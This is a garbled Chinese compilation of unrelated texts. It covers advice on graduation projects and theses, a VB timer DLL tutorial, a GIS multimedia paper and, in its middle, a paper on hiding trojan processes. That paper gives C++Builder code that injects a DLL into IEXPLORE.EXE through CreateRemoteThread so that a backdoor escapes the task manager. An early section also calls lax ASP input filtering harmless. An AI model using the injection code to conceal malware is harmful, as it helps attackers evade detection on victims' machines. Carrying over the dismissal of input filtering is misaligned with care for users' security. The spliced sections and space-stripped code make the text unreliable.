不要选太偏的题,选太偏的题有可能导致可借鉴的资料太少,到最后落下个力不从心的结果。也许很多老师在选题的时候给的建议是不要选太常见的题目,其实我个人见解是这是个误区,竟然学校安排了这些题目,理所当然就能被选择。更重要的是常见的题目也能推陈出新,你可以用流行或者高级的语言来新解这个论题,这样也能拿到理想的分数。选题另一个要注意的地方就是不要选太宽太泛的题目,一旦你的指导老师是个比较严格的人,要求你按要求办事,你就会有点自食其果了。
二、掌握计算机基础。
计算机专业基础知识该掌握的还是得掌握,个人觉得数据结构可以忽略一下,毕竟《数据结构》是运用主要体现在程序的实际开发中,而其理论知识都是大套大套的,对于答辩提问实在不宜,所以答辩中不会过多的涉及数据结构的知识;而对于系统开发必不可少的《数据库》知识,在这里我推荐重点掌握一下,数据库中重点要注意的是查询这块,答辩的老师可能会针对你具体系统中的某个查询要你写出数据库语句,比如当时我答辩的时候老师就问了我一个牵涉三表查询的问题,还有主键在这个系统表中的串联和功能。
这里所谓的掌握并不是需要你真正的能用一门语言去开发一个系统什么的,是你得对这门语言熟悉,略知其一二,能知道它有什么优势以及它在日常开发中的作用,并且掌握一些基础的,如定义变量,基本语法结构,其大致的开发模式;有了这些东西在你毕业答辩的时候就多了一份胜算。据我了解,一般学校的答辩也不会很为难学生,其一是老师都是来自学校本院,提的问题也是相对基础的,只要你答的不是牛头不对马嘴出太大的洋相,基本及格还是没有问题的。其二是学校自身得保证他们的升学率,这个我就不多说了,大家都懂的。
四、毕业论文。
五、系统。
系统这块,根据学校的不同,要求也不同。可以事先跟学校毕业的师哥师姐先了解下。要求严格就老老实实做。据我了解,一般的学校还是只要能实现主要的模块就行了。比如人事管理系统,员工信息、出勤、调岗就是重点,而打印报表这块就没做太多要求。而对于类似ASP中的字符过滤,java中的抛出异常稍微松懈下也无伤大雅。毕竟毕业设计是由没有实战经验的一个人或者两个人开发学生完成,不妥之处在所难免。
【关键词】毕业设计;教学改革
毕业设计是所有工科人才培养方案中规定的重要实践性教学环节,高等职业技术学院也不例外。通过该环节的教学使学生能够综合运用所学理论知识分析、解决实际工程问题,初步掌握设计的一般流程和方法,在设计态度、工程思想、实践能力等方面得到系统的锻炼和提高,为步入工作岗位打下良好的基础。毕业设计的质量在一定程度上反映了学生的专业知识水平、工程素质以及综合运用各种知识的能力;也在一定程度上体现了指导教师的治学态度、学术水平和指导设计工作的能力;同时也从一个侧面表明了学校的教学质量和管理水平[1].尤其对于工科学生而言,毕业设计是他们走上工作岗位前的一次预演,应该引起足够的重视
1.当前高等职业技术学院毕业设计(论文)存在的问题
1.1学生思想重视不够,投入精力不足
1.2选题不恰当
选题恰当是做好毕业设计(论文)的前提,我院制订的"无锡商业职业技术学院物联网技术学院专科生毕业设计(论文)工作的若干规定"规定了选题的基本原则。
尽管如此,但是选题不当的情况仍然时有发生,表现在:(1)论文题目大多由指导教师给定,学生并不感兴趣,因此更谈不上对题目的意义有比较深入的思考;(2)论文题目与学生的发展方向不一致。例如有的学生是软件方向的,但指导教师指定的题目却是硬件方向的等等,对于所用到的一些技术学生知之甚少;(3)论文选题陈旧,图书管理系统题、学生管理系统等类似的题已经做了多少年了,每年都在做,又没有发展,毫无创新性可言;(4)选题脱离社会实践,所使用的技术属于基本已经淘汰的技术,对学生综合能力培养的帮助不大;
1.3指导教师缺乏经验,指导强度大
由于计算机专业发展比较晚,具有丰富项目实践经验的老教师十分稀缺。而随着近几年计算机专业扩招,高校引入了大批的年轻的毕业生充实教师队伍,这些年轻教师本身充满活力,敢想敢干,不足之处在于他们多是毕业后直接从事教学工作,实际的工程项目实践经验不足,而计算机专业本身是一个实践性要求很强的专业,没有这些实践体会,就很难理解软件开发过程、软件技术如何应用到生产这些问题,从而影响了毕业设计的质量;
1.4毕业设计过程缺乏监督
一般按惯例,指导教师与学生之间每星期至少应见面两次,了解学生毕业设计的进展情况。然而由于受到学生找工作、升本(接本)等特殊情况的影响,很难坚持下来。学生缺乏主动性,不愿意主动找指导教师交流,因此使得毕业设计的过程缺乏监督。
1.5论文抄袭现象时有发生
我校对论文抄袭现象处置甚严,这也是对学生实事求是的科学态度和严肃认真的工作作风的培养,然而,部分学生报着侥幸和偷懒心理,往往将网络上检索到的多篇论文稍加修改,重新组织加工,从而就变成了自己的毕业论文。有的学生甚至一字不改,原文照搬。
总的说来,目前有的高等职业技术院校的毕业设计(论文)工作中的主要问题是少了一点“规矩”,即使有规矩也是“老规矩”。对随着教育和教学改革的深化而出现的新情况遇到的新问题,缺乏深入的研究和及时的改革。
2.毕业设计(论文)的定位
计算机应用专业是一门综合性非常高的学科,该专业软件、硬件及系统的开发、应用、维护等工程领域,是一个纵向较深,横向较广的复合性、综合性专业。毕业设计(论文)是学生综合运用所学知识,分析、解决实际问题,培养独立思考、独立工作的能力,接受高等职业技术人员所必需能力的基本训练的重要教学环节。毕业设计(论文)首先具有教学与教育功能,是实现专业培养目标,对学生进行设计科学教育,培养探求真理的科学精神,强化工程意识,进行工程基本训练,提高学生科学研究能力、工程实践能力、创新能力和经济意识的重要阶段;是培养学生优良思想品质,进行综合素质教育的全面检验。其次,毕业设计(论文)成果具有直接或间接为经济建设服务,为生产、科研服务的社会功能。随着教育和教学改革的深化,对人才培养模式的改革,专业的拓宽改造,对人才培养提出了新的更高要求,我们更应高度重视毕业设计(论文)的基本要求和质量评价,使学生更清楚地知道怎样主动做好毕业设计(论文),使指导教师更清楚地知道如何对学生进行指导,使管理人员知道怎样抓住实质问题管理到位,以保证毕业设计(论文)的质量。
3.有关应对措施
3.1加强学生思想教育
3.2在毕业设计之前做专题讲座
由于学生都是第一次参加毕业设计,所以对如何进入状态,开始毕业设计工作,如何查阅资料,如何分阶段完成,如何撰写开题报告和毕业论文,如何对毕业论文的章节规划、内容安排和格式规范等知识缺乏认识,因此在毕业设计之前有必要做专门针对毕业设计如何开展的专题讲座。
3.3选题是关键,鼓励学生到企业进行毕业设计
选题是整个毕业设计(论文)的核心,正确、恰当地选题是做好毕业设计(论文)的前提,应首先把好选题关。在我系首先原则上把一人一题作为选题工作的重要原则少数课题比较大时,可以分成几个小课题,但必须保证每个学生都是单独完成自己的课题,防止学生互相“帮忙”的发生。
毕业设计(论文)题目需经过教研室讨论、教研室主任审核、系主任批准。对于一些过易、任务过轻或所使用的是一些过时技术的题,坚决要求进行重选。通过这些做法,保证了毕业设计(论文)题目的质量,学生也反映良好。
3.4过程管理很重要
开题报告完成以后,就进入了漫长的实际设计过程。要增强对学生的监督和督促机制,防止学生偷懒。其一,要增强指导教师的责任感;其二,可引入现在一些软件公司常用的做法,要求学生写周报,让学生每周对自己毕业设计的工作进展,取得的成果或碰到的困难做一次记录。这样既避免了学生临时报佛脚,不做设计只写论文的情况发生,又使学生的整个设计过程都有案可查,增加了对毕业设计评分的合理性和公正性。[3]
3.5如何杜绝论文抄袭现象
论文抄袭是学术界十分不齿的行为,应当给学生灌输这种思想。学生大多都是第一次撰写学术论文,一旦养成了抄袭的坏毛病,则日后对己对人都贻害无穷。一方面,应当将“对毕业论文抄袭进行严厉惩罚”写入到毕业论文的要求规范当中去,一旦发现,绝不姑息;另一方面,指导教师可通过耐心教导,击溃学生的侥幸心理,让学生明白,抄袭的论文是无所遁形的。
3.6改善评判学生毕业设计质量
学生的毕业设计质量由两部分来衡量:
一是设计成果的质量,包括软件的功能、所采用的开发技术、人机界面等部分组成,可通过现场演示和答辩来评分;
二是毕业论文质量,根据课题完成情况和答辩情况由指导教师、评阅教师和答辩小组分别按毕业设计(论文)评阅、评审评分标准采用“结构分”进行评定,其中指导教师成绩占30%,评阅教师成绩占30%,答辩小组成绩占40%
(1)指导教师评定成绩
根据指导教师评审评分标准从学生工作量、工作态度、技术方案、分析与解决问题的能力、设计(论文)质量、创新等方面进行评定。
(2)评阅教师评阅成绩
根据省教育厅的有关文件精神,要求每位学生的毕业设计(论文)必须由两位熟悉相应课题内容的教师(可以是外聘教师)进行评阅,评阅评分标准从毕业设计(论文)内容、学生工作水平以及论文撰写规范共同确定,每位评阅教师必须单独填写评阅表。
(3)答辩
成绩主要由答辩小组根据答辩评审评分标准从学生的报告内容、报告过程、回答问题以及学生在毕业设计(论文)中的创新等方面进行评定。毕业设计(论文)成绩按优秀(>85分)、良好(75分一84分)、中等(66分一74分)、及格(60分一65分)、不及格(60分以下)五级分评定,其中优秀比例控制在20%以内。[4]
总之,高等职业院校计算机专业毕业设计工作受到了扩招、学生就业、升本(或接本)等诸多因素的影响,要做好这项工作,根本在于思想重视,重点在于制度保证,只有学校、教师、学生都加以重视,做好各项制度保证,才能进一步提高毕业设计的效果,提高高职院校的毕业设计管理水平。
参考文献:
[1]张艳一种工科学生毕业设计质量的评价方法[J]武汉工程大学学报,2010(9):94~97
[2]廖志凌等.高校本科毕业设计中存在的问题及对策[J].江苏大学学报(高教研究版),2004,4(2),82-85.
一、本科学生毕业论文的目的和内容
二、管理信息系统开发的主要步骤
三、计算机专业所选开发工具和注意事项
四、计算机毕业论文撰写格式
五、毕业论文中正文的写法和注意事项
六、结束语的写法
七、参考文献列出毕业论文设计中主要参考书籍
八、附录的写法
九、论文评分的能用标准
本科学生在毕业之前必须做毕业论文,其目的是通过毕业论文,让学生独立开发一个具体的计算机应用项目,系统地进行分析总结和运用学过的书本知识,以巩固本科阶段所学的专业理论知识,并给予一个理论联系实际的机会。
管理信息系统开发的主要步骤及各步骤的基本内容如下:
1、系统分析
主要工作内容有以下几项:确定系统目标,系统可行性分析
2、系统调查
系统的组织结构、职能结构和业务流程分析。其中系统的组织结构图应画成树状结构。
系统业务流程分析、业务流程图
3、数据流程分析
数据流程图(系统关联图、顶层图、一层数据流图、二层数据流图)、数据词典、代码设计
4、管理信息系统的功能设计
系统的功能结构图,每个功能模块的主要工作内容、输入输出要求等。
系统控制结构图
5、数据库设计
概念模型设计:实体、实体间的联系、E-R图
关系模式设计:E—R图->关系模式的转换规则
关系模式
数据库表设计:数据库表结构
6、系统物理配置方案
7、人机界面设计
8、模块处理概述
9、系统测试和调试:测试计划、测试用例、测试结果
三、开发工具和注意事项
1、开发工具
开发工具可由学生任选。如Delphi、FoxPro、VB、Access等,这些工具的使用全由学生自学。
2、注意事项
(1)项目开发步骤的完整性(系统需求分析、概念设计、物理设计、系统环境和配置、系统实施以及系统测试和调试等)
(2)每个开发步骤所得结果的正确性(业务流程图、数据流程图、数据词典、HIPO图、E-R图、关系模式、人机界面设计及模块处理等的详细分析和说明)
(3)论文整体结构的完整性(前言、各个具体步骤的叙述和分析、结语、参考文献和有关附录)
(4)提供软件系统的可执行盘片及操作说明书
(5)参考资料(列出必要的参考资料)
四、毕业论文撰写格式
注意:1.每个步骤都要有文字说明和论述2.各个步骤必须是有机的组合,不可以支离破碎不成一体。
一、封面
二、摘要用约200-400字简要介绍一下论文中阐述的主要内容及创新点
三、主题词用一、二个词点明论文所述内容的性质。(二和三要在同一页面上)
四、目录一般采用三级目录结构。例如第三章系统设计3.1系统概念结构3.1.1概念模型
五、正文
第一章前言
简要介绍:组织机构概况、项目开发背景、信息系统目标、开发方法概述、项目开发计划等。
第二章系统需求分析
本章应包含:
(1)现行业务系统描述
包括业务流程分析,给出业务流程图。
具体要求:业务流程图必须有文字说明,图要完整、一定要有业务传递的流程。
(2)现行系统存在的主要问题分析
指出薄弱环节、指出要解决的问题的实质,确保新系统更好,指出关键的成功因素。
(3)提出可能的解决方案
(4)可行性分析和抉择
包括技术可行性、经济可行性、营运可行性分析和抉择。
第三章新系统逻辑方案
针对用户需求,全面、系统、准确、详细地描述新系统应具备的功能。
(1)数据流程分析
最主要的是给出数据流程图,要求满足以下条件:
A.数据流程图必须包括系统关联图、系统顶层图、第一层分解图和第二层分解图组成。B.系统关联图确定了从外部项到系统的数据流和从系统向外部项的数据流,这些数据流在其它层次的数据流中不允许减少,也不允许增加。各层次内部的数据流不受关联图的限制。C.数据流应有名字。D.外部项和数据存储之间不得出现未经加工的数据流。E.数据流程图的分解中,必须保持每个分层同其上层加工中的外部项和输入输出流相一致。F.各加工之间一般不应出现未经数据存储的数据流。G.数据存储之间不得出现未经加工的数据流。H.数据存储可以分解。I.若有查询处理,应在数据流程图中表达。J.统计和打印报表不在数据流图中表达。
(2)数据词典描述
可采用图表格式或较紧凑的记录格式描述A、若采用图表格式,可只写出数据流、数据元素、加工、数据存储和外部项各一个表。B、若采用紧凑的记录格式,则应列出全部成分。如数据元素:编号名称存在于数据结构备注E1入库数据F1/F3/F11/F15入库单号日期货号数量E2出库数据F1/F3/F11/F15出库单号日期货号数量C、据流程图中系统顶层图的数据加工都必须详尽写出。
(3)基本加工小说明
可采用结构化语言、数学公式等描述各个基本加工。
第四章系统总体结构设计
(1)软件模块结构设计A、系统软件模块结构图,并由此导出功能分解图及层次式菜单结构。B、系统的模块结构应与数据流程图的顶层图的加工一致。
(2)数据库设计A、应按下列次序阐述各个元素:实体、实体的属性、实体间联系、E-R图、转换规则、关系模式。B、在介绍实体的属性时,不应包括联系属性,联系属性直至关系模式中才出现。C、数据流程图中的每个数据存储可隐含于E-R图中的多个实体。D、E-R图中的实体要与数据流程图中的数据存储相对应。每个实体要指出实体的标识码(主码)。对每个实体或联系应列出其应有的属性(用列举的方法)。E、E-R图中至少要有一个多对多的联系。F、必须严格按照转换规则从E-R图产生数据关系模式集,需要时作必要的优化,并说明理由。G、对于一对一的联系,只应把任一个实体的主码放在另一个实体中作为外码。H、一对多联系也可以产生新的关系模式,如要这样做,必须说明理由。I、多对多联系,或三元联系必须产生新的关系模式。J、关系模式的个数和名字要与E-R图中的实体和联系相一致。K.、每个关系模式中要用下横线标出主码,后随的符号“#”标出外码。L、若有代码对照表可在最后列出,需另加说明。
(3)计算机系统配置方案的选择和设计
给出硬件配置,系统软件配置,网络通信系统配置(可选)等内容。
(4)系统总体安全性、可靠性方案与措施。
第五章系统详细设计
(1)代码设计基本数据项的代码格式。
(2)人机界面设计给出人机界面视图(输入输出接口,屏幕格式设计等)
(3)模块处理过程根据软件环境做不同处理。可采用脚本、程序流程图、结构化的PDL语言等。
第六章实施概况
(1)实施环境和工具的比较选择
(2)编程环境、工具、实现与数据准备概况
(3)系统测试概况主要包括测试计划、测试用例、测试记录。
(4)系统转换方案及实现概况
(5)系统运行与维护概况
六、结束语
(1)系统特色、局限与展望
(2)实施中遇到的挫折、创新、体会与致谢
八、附录
(1)列出部分有一定代表性的程序代码段
(2)操作说明书
九、论文评分标准
1、A等
系统正确无误,系统功能完善,设计步骤完整正确,实用性强,有一定的创新性,论文结构严谨,表述流畅。
2、B等
系统基本正确,系统功能基本完善,设计步骤基本完整正确,有一定的实用性,论文结构良好,表述基本流畅。
3、C等
系统有少量错误,系统功能不够完善,设计步骤欠完整,基本上没有实用性,论文结构一般,表述基本清楚。
4、不及格
关键词:vb计时器对象
1.编写程序
启动vb,新建一个activexdll工程,将工程命名为newtimer,将类模块名class1改名为longtimer。在工程中添加一个窗体form1,在窗体上加入一个timer计时器控件timer1。打开longtimer类模块,加入如下程序代码:
optionexplicit
privatenzasinteger
privatecsasinteger
privatem_formasform1
''''返回enable属性值
publicpropertygetenabled()asboolean
enabled=m_timer.enabled
endproperty
''''设置enable属性值
publicpropertyletenabled(byvalvnewvalueasboolean)
m_timer.enabled=vnewvalue
''''返回interval属性值
publicpropertygetinterval()aslong
interval=m_timer.interval
''''设置interval属性值
publicpropertyletinterval(byvalvnewvalueaslong)
cs=0
nz=vnewvalue\65536+1
m_timer.interval=vnewvalue\nz
''''类初始化事件
privatesubclass_initialize()
setm_form=newform1
loadm_form
setm_timer=m_form.timer1
endsub
''''类终止事件
privatesubclass_terminate()
unloadm_form
setm_timer=nothing
''''产生tick事件
privatesubm_timer_timer()
cs=cs+1
ifcs>=nzthen
raiseeventtick
endif
窗体form1只用来作计时器timer1的载体,不用于显示。
2.测试newtimer.dll
对activexdll部件进行测试,与标准的exe程序一样,可分为单步运行或全运行。在写完所有程序代码后,建议用户先用ctrl+f5进行全编译执行,发现检查newtimer程序的语法错误。也可建立一个测试工程与newtimer链接进行测试,针对由newtimer类模块提供的每个属性和事件,添加测试代码来测试它们的属性和方法。按f8,进入单步运行状态,逐个语句察看对newtimer类模块的调用情况。
3.编译newtimer.dll
完成测试,排除所有错误后,从“文件(f)”菜单中选择“生成newtimer.dll(k)”命令,编译生成newtimer.dll文件。编译成功后newtimer.dll文件将自动注册到windows注册表中,
4.引用newtimer.dll
引用activexdll部件同引用其他对象一样,从“工程(p)”菜单中选择“引用(n)”命令,打开引用窗口,从引用列表中选中newtimer对象。如果是第一次引用newtimer,则在引用窗体上单击“游览(b)”命令按钮,将newtimer.dll文件添加到可引用列表框中方可使用。
5.调用newtimer.dll
在应用程序中加入下述程序代码,实现参newtimer.dll的调用:
dimwitheventslongtimer1aslongtimer
privatesublongtimer1_tick()
privatesubcommand1_click()
longtimer1.interval=12000‘两分钟
longtimer1.enabled=true
privatesubform_load()
setlongtimer1=newlongtimer
参考文献
摘要进程的隐藏一直是木马程序设计者不断探求的重要技术,本文采用远程线程技术,通过动态链接库方法,较好地解决了这一问题,通过远程线程将木马作为线程隐藏在其他进程中,从而达到隐藏的目的。
关键字进程线程木马动态链接库
木马程序(也称后门程序)是能被控制的运行在远程主机上的程序,由于木马程序是运行在远程主机上,所以进程的隐藏无疑是大家关心的焦点。
本文分析了WindowsNT/2000系统下进程隐藏的基本技术和方法,并着重讨论运用线程嫁接技术如何实现WindowsNT/2000系统中进程的隐藏。
1基本原理
在WIN95/98中,只需要将进程注册为系统服务就能够从进程查看器中隐形,可是这一切在WindowsNT/2000中却完全不同,无论木马从端口、启动文件上如何巧妙地隐藏自己,始终都不能躲过WindowsNT/2000的任务管理器,WindowsNT/2000的任务管理器均能轻松显示出木马进程,难道在WindowsNT/2000下木马真的再也无法隐藏自己的进程了?我们知道,在WINDOWS系统下,可执行文件主要是Exe和Com文件,这两种文件在运行时都有一个共同点,会生成一个独立的进程,寻找特定进程是我们发现木马的方法之一,随着入侵检测软件的不断发展,关联进程和SOCKET已经成为流行的技术,假设一个木马在运行时被检测软件同时查出端口和进程,我们基本上认为这个木马的隐藏已经完全失败。在WindowsNT/2000下正常情况用户进程对于系统管理员来说都是可见的,要想做到木马的进程隐藏,有两个办法,第一是让系统管理员看不见你的进程;第二是不使用进程。本文以第二种方法为例加以讨论,其基本原理是将自已的木马以线程方式嫁接于远程进程之中,远程进程则是合法的用户程序,这样用户管理者看到的只是合法进程,而无法发现木马线程的存在,从而达到隐藏的目的。
2实现方法
为了弄清实现方法,我们必须首先了解Windows系统的另一种"可执行文件"----DLL,DLL是DynamicLinkLibrary(动态链接库)的缩写,DLL文件是Windows的基础,因为所有的API函数都是在DLL中实现的。DLL文件没有程序逻辑,是由多个功能函数构成,它并不能独立运行,一般都是由进程加载并调用的。因为DLL文件不能独立运行,所以在进程列表中并不会出现DLL,假设我们编写了一个木马DLL,并且通过别的进程来运行它,那么无论是入侵检测软件还是进程列表中,都只会出现那个进程而并不会出现木马DLL,如果那个进程是可信进程,(例如浏览器程序IEXPLORE.EXE,没人会怀疑它是木马吧?)那么我们编写的DLL作为那个进程的一部分,也将成为被信赖的一员,也就达到了隐藏的目的。
运行DLL方法有多种,但其中最隐蔽的方法是采用动态嵌入技术,动态嵌入技术指的是将自己的代码嵌入正在运行的进程中的技术。理论上来说,在Windows中的每个进程都有自己的私有内存空间,别的进程是不允许对这个私有空间进行操作的,但是实际上,我们仍然可以利用种种方法进入并操作进程的私有内存。动态嵌入技术有多种如:窗口Hook、挂接API、远程线程等,这里介绍一下远程线程技术,它只要有基本的进线程和动态链接库的知识就可以很轻松地完成动态嵌入。
远程线程技术指的是通过在另一个进程中创建远程线程的方法进入那个进程的内存地址空间。我们知道,在进程中,可以通过CreateThread函数创建线程,被创建的新线程与主线程(就是进程启动时被同时自动建立的那个线程)共享地址空间以及其他的资源。但是很少有人知道,通过CreateRemoteThread也同样可以在另一个进程内创建新线程,被创建的远程线程同样可以共享远程进程(是远程进程)的地址空间,所以,实际上,我们通过一个远程线程,进入了远程进程的内存地址空间,也就拥有了那个远程进程相当的权限。
3实施步骤
1)用Process32Next()函数找到宿主进程,获取宿主进程ID,并用
OpenProcess()函数打开宿主进程。
2)用VirtualAllocEx()函数分配远程进程地址空间中的
内存。
3)用WriteProcessMemory()函数将待隐藏的DLL的路径名。
4)拷贝到步骤二已经分配的内存中。
5)用GetProcAddress()函数获取LoadlibraryA()函数的实地址(在kernel32.dll中)。
6)用CreateRemoteThread()函数在远程进程中创建一个线程。
7)它调用正确的LoadlibraryA()函数。
8)为它传递步骤二中分配的内存地址。
4具体实例
下面是在C++Builder4.0环境下编写的运用远程线程技术隐藏木马的程序代码:
#include
#include
#include
#include
#pragmahdrstop
#include"Unit1.h"
#pragmapackage(smart_init)
#pragmaresource"*.dfm"
InsistingpszLibFileName;//存放待隐藏的DLL文件名
HANDLEhProcessSnap=NULL;//进程快照句柄
HANDLEhRemoteProcess;//远程进程句柄
LPVOIDpszLibFileRemote;//远程进程中分配给文件名的空间
HMODULEphmd;//存放kernel32.dll句柄
HANDLEhRemoteThread1=NULL;//存放远程线程句柄
TForm1*Form1;
//---------------------------------------------------------
__fastcallTForm1::TForm1(TComponent*Owner)
:TForm(Owner)
{
}
void__fastcallTForm1::Button1Click(TObject*Sender
PROCESSENTRY32pe32={0};
DWORDdwRemoteProcessId;
hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
//打开进程快照
if(hProcessSnap==(HANDLE)-1)
MessageBox(NULL,"CreateToolhelp32Snapshotfailed","",MB_OK);
exit(0);
}//失败返回
pe32.dwSize=sizeof(PROCESSENTRY32);
if(Process32Fi
rst(hProcessSnap,&pe32))//获取第一个进程
do{
AnsiStringte;
te=pe32.szExeFile;
if(te.Pos("iexplore.exe")||te.Pos("IEXPLORE.EXE"))
//找到宿主进程,以IEXPLORE.EXE为例
{dwRemoteProcessId=pe32.th32ProcessID;
break;
while(Process32Next(hProcessSnap,&pe32));//获取下一个进程
else
MessageBox(NULL,"取第一个进程失败","",MB_OK);
hRemoteProcess=OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM
_OPERATION|PROCESS_VM_WRITE,FALSE,dwRemoteProcessId);
//打开远程进程
pszLibFileName=GetCurrentDir()+"\\"+"hide.dll";
//假设hide.dll是待隐藏的进程
intcb=(1+pszLibFileName.Length())*sizeof(char);//计算dll文件名长度
pszLibFileRemote=(PWSTR)VirtualAllocEx(hRemoteProcess,NULL,cb,
MEM_COMMIT,PAGE_READWRITE);
//申请存放文件名的空间
BOOLReturnCode=WriteProcessMemory(hRemoteProcess,
pszLibFileRemote,(LPVOID)pszLibFileName.c_str(),cb,NULL);
//把dll文件名写入申请的空间
phmd=GetModuleHandle("kernel32.dll");
LPTHREAD_START_ROUTINEfnStartAddr=(LPTHREAD_START_ROUTINE)
GetProcAddress(phmd,"LoadLibraryA");
//获取动态链接库函数地址
hRemoteThread1=CreateRemoteThread(hRemoteProcess,NULL,0,
pfnStartAddr,pszLibFileRemote,0,NULL);
//创建远程线
if(hRemoteThread1!=NULL)
CloseHandle(hRemoteThread1);//关闭远程线程
if(hProcessSnap!=NULL)
CloseHandle(hProcessSnap);//关闭进程快照
该程序编译后命名为RmtDll.exe,运行时点击界面上的按钮即可。
至此,远程嵌入顺利完成,为了试验我们的hide.dll是不是已经正常地在远程线程运行,我同样在C++Builder4.0环境下编写并编译了下面的hide.dll作为测试:
nclude
#pragmaargsused
BOOLWINAPIDllEntryPoint(HINSTANCEhinst,unsignedlongreason,void*lpReserved)
charszProcessId[64];
switch(reason)
caseDLL_PROCESS_ATTACH:
{//获取当前进程ID
itoa(GetCurrentProcessId(),szProcessId,10);
MessageBox(NULL,szProcessId,"RemoteDLL",MB_OK);
default:
returnTRUE;
当使用RmtDll.exe程序将这个hide.dll嵌入IEXPLORE.EXE进程后假设PID=1208),该测试DLL弹出了1208字样的确认框,同时使用PS工具
也能看到:
ProcessID:1208
C:\WINNT\IEXPLORE.EXE(0x00400000)
……
C:\WINNT\hide.dll(0x100000000)
这证明hide.dll已经在IEXPLORE.EXE进程内正确地运行了。上面程序的头文件由编译器自动生成,未作改动,故略之。
5结束语
进程隐藏技术和方法有很多,而且这一技术发展也相当快,本文仅从一个侧面加以讨论,希望通过这一探讨让我们对进程隐藏技术有一个更清楚的认识,同时也为我们防范他人利用进程隐藏手段非法入侵提供参考,本文抛砖引玉,不当之处诚恳批评指正。
摘要将多媒体技术应用于地理信息系统中的关键问题是:如何有效地管理多媒体数据和空间数据;其次,在区域分析过程中,怎样实现多媒体播放功能.指出用扩充的关系数据模型作为多媒体数据模型较适宜;多媒体功能的实现则取决于多媒体数据的格式是否为RIFF格式以及对多媒体数据的应用要求.最后展示了多媒体技术在地理信息系统中的应用前景.
关键词多媒体技术,地理信息系统,空间数据,属性数据,区域分析,数据模型.
现今由于多媒体技术的迅速崛起和高速发展,越来越多的应用软件都大量使用了多媒体技术.如果将多媒体技术应用于地理信息系统(geographicinformationsystem,简称GIS)软件中,势必大大增强GIS信息的表现能力,扩大GIS的应用领域.那么怎样将多媒体技术应用于GIS软件中呢我们认为应从两方面来设计:其一是怎样将多媒体数据溶于GIS数据库中,并保证提供GIS软件的双向检索及各种分析功能;其二是在应用过程中,怎样实现多媒体的播放功能.以下就这两个内容及其应用前景谈谈我们的看法.
1多媒体数据的有效管理
通常,应用软件中的多媒体数据有两种生成方式:一种是媒体播放之前,将其数字化到数据库当中,播放时从数据库中取数据;另一种是播放时,边生成边播放.而GIS软件中的数据库又分为空间数据库和属性数据库,即我们可根据媒体数据的特性或应用软件的要求将多媒体数据分别溶于空间数据库和属性数据库中.
1.1GIS数据库中多媒体数据的管理
要使用这种建索引的基本修正法,需要考虑两个问题,一个是如何建立索引;另一个是如何设计用来描述两个状态变化量的差文件.
关于差文件,笔者认为在设计中应考虑如下几个因素.(1)由于差文件是通过对两个时态的目标信息进行异或而产生的,这意味着差文件包含有两类目标信息:一类是前一时态有而后一时态无的目标信息;另一类是前一时态无而后一时态有的目标信息.为了能根据差文件快速、连续地由一个状态到过去另一状态或最近另一状态进行检索,应在差文件中将这两类目标信息予以标识区分.(2)两个状态之间目标变化应是有对应关系的,即01(目标从无到有);10(目标从有到无);1N(目标从一个变成多个);N1(目标从多个变成一个),以及目标空间信息无变化,属性信息有变化;目标局部空间信息有变化等.为了能进行快速检索,在差文件中应将两类各目标之间的对应关系予以标明,当然,这会增加差文件生成过程的复杂性.(3)和所有地图数据库模型类似,差文件也由空间信息、属性信息和关系信息组成,差文件中应将每个目标这3种信息之间的关系予以标明.
1.1.2GIS属性数据库中多媒体数据的管理有些G
IS的应用中,认为多媒体数据是一种特殊的专题属性数据.怎样选择多媒体数据的数据模型,使得既能遵循其自身特点,又能有效地建立起它与空间数据的联系,是多媒体技术在GIS应用中的关键所在.
目前,多数GIS属性数据库使用的是关系模型.为能将关系模型应用于多媒体数据管理系统中,就必须对现有的关系模型进行扩充,使它不但能处理格式化数据,也能处理非格式化数据.杨学良[2]就这个问题提出了3种技术策略:将多媒体数据文件名作为关系中元组某列(或属性);将每个元组作为一个完整文件保存;元组中存贮格式化数据以及非格式化数据的引用项,而非格式化数据单独存贮.
对比这3种技术策略,第一种技术策略方法简单、容易实现,适宜于对多媒体数据进行播放.第二、三种技术策略虽然能够实现并发控制和恢复,以及实现对多媒体数据进行编辑和拮取的应用,但由于此两种技术策略将每个元组所对应的空间目标的专业属性和多媒体属性混在一起,这既增大了应用程序设计的复杂性,又不利于那些只需使用空间目标的专业属性的一些应用的实现.为此,我们认为,在第一种技术策略的基础上,增加一个或多个属性项,用于存放多媒体数据的文件信息和数据流信息,当我们需要对多媒体数据文件进行特殊应用时,可根据文件信息和数据流信息对多媒体数据文件进行操作.
1.2GIS区域分析中多媒体数据的生成
多媒体数据生成的另一种方式是在GIS应用中,边统计、分析运算,边生成结果数据——多媒体数据.
1.2.1空间分析中多媒体数据的生成空间分析是一组分析结果依赖于所分析对象的位置信息技术[3],因此,空间分析要求获得目标的空间位置及其属性描述两方面信息.空间分析主要有:地形分析、叠加分析、缓冲区分析和网络分析等.
为了能更清楚地表示上述一些空间分析的结果,我们可用虚拟现实技术来实现.所谓虚拟现实[4]是一种由计算机生成的高级人机交互系统,即构成一个以视觉感受为主,也包括听觉、触觉、嗅觉的可感知环境,使用者通过专门的设备可在这个环境中实现观察、触摸、操作、检测等试验,有身临其境之感.比如,可用虚拟技术来观察地形分析或网络分析得到的空间效果,使用者可用交互操作的方式来控制自己与观察对象的角度、距离以及光照等,使观察对象随使用者的操作而动态旋转.此时以动画形式显示的媒体数据随使用者的操作产生并显示.
为了更加形象化,我们可以将数理统计结果以直方图、曲线、曲面或区划图表示,甚至可以将重要的部分以醒目的颜色、特殊的符号或闪烁的显示形式来告诉使用者,还可以配上解说词,以增加系统的感染力,而表现这些现象的媒体数据是在统计分析之后由系统自动生成并播放的.
2GIS应用系统中多媒体功能的实现
在GIS应用软件中进行多媒体功能实现,首先是受GIS应用软件自身开发平台的限制.多数情况下,GIS应用软件的多媒体开发平台宜选择编程语言,如VC++,VB或BC++等,以利于和GIS应用软件相结合.一旦多媒体开发环境确定下来,那么怎样实现区域分析中多媒体功能
2.1空间数据库中多媒体数据的播放
由前所述,空间数据库中存贮的多是各期间的时空数据,这些数据的结构与MCI所能接受的多媒体文件格式RIFF(resourceinterchangefileformat)不同,所以应用程序不能直接调用MCI函数和API函数,必须根据时态GIS的空间数据库结构,设计一个相应的动画播放程序来实现动态显示功能.
